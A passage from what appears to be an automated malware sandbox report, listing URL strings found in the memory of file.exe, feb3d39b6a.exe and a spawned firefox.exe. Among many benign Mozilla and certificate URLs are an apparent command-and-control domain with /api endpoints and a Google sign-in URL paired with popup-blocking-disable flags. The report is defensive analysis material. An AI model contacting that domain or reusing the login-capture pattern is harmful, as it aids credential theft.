Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationhttp://mozilla.org/#/properties/featureIds
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targeting
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000023.00000003.3209291549.00000132C23B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3297565804.00000132C22F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3303931550.00000132C3B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3258400388.00000132B9D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3291034654.00000132BDC58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3294052745.00000132BDE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3258400388.00000132B9DD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA20F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3266008650.00000132BAEA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C2376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3253578763.00000132B7BFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3281670424.00000132BBA64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3262853359.00000132BA903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C2376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3263225865.00000132BAA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3266008650.00000132BAECD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3285902389.00000132BCF70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB475000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3285460751.00000132BCE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C23B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C23F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000023.00000003.3140371807.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261062715.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000023.00000003.3209291549.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C2392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000023.00000003.3209291549.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C2392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000023.00000003.3209291549.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C2392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000023.00000003.3140371807.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261062715.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000023.00000003.3140371807.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261062715.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttps://mail.inbox.lv/compose?to=%shttp://poczta.interia.pl/mh/
Source: feb3d39b6a.exe, 00000016.00000002.3324968173.0000000000F0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: file.exe, file.exe, 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateapp.update.checkOnlyInstance.enabledPREF_APP_UPDATE_NO_WINDOW_
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3201091459.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3285902389.00000132BCF62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3266858592.00000132BAFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3228925027.00000132BBEE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6ABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3283033515.00000132BBE4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3284059595.00000132BCC8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3228925027.00000132BBEA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3281670424.00000132BBABA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3270548472.00000132BB365000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3262853359.00000132BA903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3285902389.00000132BCF70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261762897.00000132BA793000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C23B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3284661125.00000132BCD7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000023.00000002.3285902389.00000132BCF62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul%
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulPanelUI._onNotificationButtonEvent(even
Source: file.exe, 00000000.00000002.2611716092.000000000566C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618365714.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3303931550.00000132C3B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3303931550.00000132C3B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3298965968.00000132C2392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000023.00000002.3303203265.00000132C2B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3258234904.00000132B9C70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000002.2604363979.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2952997493.0000000005609000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2953964028.0000000005606000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119507696.00000000056A6000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3118840439.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119123250.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.catranslations-panel-from-labeltranslations-panel-to-labelbrowser.topsites
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000023.00000002.3298965968.00000132C23CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3303203265.00000132C2BB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA20F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C23CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3287630311.00000132BD1C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000023.00000002.3238991466.00000132AC460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orghttps://monitor.firefox.comhttps://support.mozilla.orgtestPermissionFromPr
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB424000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB46A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etpresource://search-extensions/amazondotcom/amazondotcom%40sear
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: feb3d39b6a.exe, 00000016.00000002.3324968173.0000000000F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.b
Source: feb3d39b6a.exe, 00000016.00000003.3287085381.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3234618879.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3207291870.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000002.3324968173.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: feb3d39b6a.exe, 00000013.00000003.3072644403.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3046875375.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3280658869.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3033374446.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3047109889.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3072213446.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3046584930.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3005504175.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3278865021.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3078878997.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3033026272.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3005300210.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3005248474.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3156363925.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3033744363.0000000000F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/3
Source: feb3d39b6a.exe, 00000013.00000003.3078690137.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3072000215.0000000000F71000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2977685689.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/C
Source: feb3d39b6a.exe, 00000013.00000002.3327603670.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/L
Source: feb3d39b6a.exe, 00000016.00000003.3160404403.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/_
Source: feb3d39b6a.exe, 00000016.00000002.3328020081.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119400538.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: feb3d39b6a.exe, 00000016.00000002.3324968173.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api?/
Source: feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiD
Source: feb3d39b6a.exe, 00000016.00000002.3328020081.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiR
Source: feb3d39b6a.exe, 00000016.00000002.3328020081.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apin
Source: feb3d39b6a.exe, 00000013.00000003.3270730206.0000000000F86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apitW
Source: feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/c
Source: feb3d39b6a.exe, 00000016.00000002.3324968173.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/f
Source: feb3d39b6a.exe, 00000016.00000002.3324968173.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/~
Source: feb3d39b6a.exe, 00000013.00000003.3033326578.00000000055D9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3096594731.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3269645415.00000000055D2000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3045991842.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3071802109.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3344090498.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3151443466.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2977665839.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2978686091.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2978405456.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3151443466.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3095967786.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3032985887.00000000055D9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3096292702.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000002.3324968173.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: feb3d39b6a.exe, 00000016.00000002.3324968173.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apiicrosoft
Source: firefox.exe, 00000023.00000003.3227061861.00000132C27B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3227061861.00000132C27AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000023.00000003.3227061861.00000132C27B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000023.00000002.3302865830.00000132C279C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3208780144.00000132C279C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3303931550.00000132C3B23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000023.00000002.3240579668.00000132B60AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: firefox.exe, 00000023.00000002.3240579668.00000132B60AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 00000023.00000002.3281670424.00000132BBABA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261762897.00000132BA737000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
